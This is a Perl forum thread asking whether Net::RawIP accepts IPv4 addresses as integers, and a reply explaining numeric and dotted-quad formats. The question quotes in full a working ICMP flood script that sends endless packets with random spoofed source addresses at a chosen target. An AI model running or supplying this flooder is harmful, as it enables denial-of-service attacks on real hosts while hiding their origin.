in reply to Re: unsigned int in the host format and raw socket
in thread unsigned int in the host format and raw socket

Thanks for the quickest reply

Yes it's work, but please look at this code (i got this code from Net::Raw Example)

$| = 1; require 'getopts.pl'; use Net::RawIP; Getopts('t:'); die "Usage $0 -t <target>" unless $opt_t; srand(time); $i = 996; $data .= chr(int rand(255)),$i-- while($i); $icmp = new Net::RawIP({ ip => { ihl => 6, tot_len => 1024, id => 1, ttl => 255, frag_off => 0, daddr => $opt_t }, icmp => { id => 2650, data => $data } }); for(;;){ $j++; $icmp->set({ ip => { saddr => 17000000 + int rand 4261000000 }, icmp => { type => int rand(14), code => int rand(10), sequence => int rand(255) } }); $icmp->send; print "b00m " unless $j%1000; }
Have a look in looping area, we got :
ip => { saddr => 17000000 + int rand 4261000000 }

The author give $addr with random int number without doing packing or unpack, so i make my own conclusion that we can give $addr with int number (like code above) as long as it's valid ip addy, is it true?

i m trying hard to explain my problem in proper english i hope you can understand

thanks, zak

Replies are listed 'Best First'.
Re^3: unsigned int in the host format and raw socket
by ikegami (Patriarch) on Jun 30, 2005 at 18:47 UTC

    An IP (v4) address is any number between 0 and 4294967295 inclusively. Different interfaces expect the address to be in different formats (reprentations). "aaa.bbb.ccc.ddd" is just one format. Net::RawIP works with a number of formats, including numerical (0 to 4294967295) and dotted ('aaa.bbb.ccc.ddd').

    For example, two following two lines are identical:

    ip => { saddr => '202.227.44.16' } ip => { saddr => 3403885584 }

    I hope that answers your question; I don't quite understand it.

      Eureka...Yes! this is what i need, u got me, thank you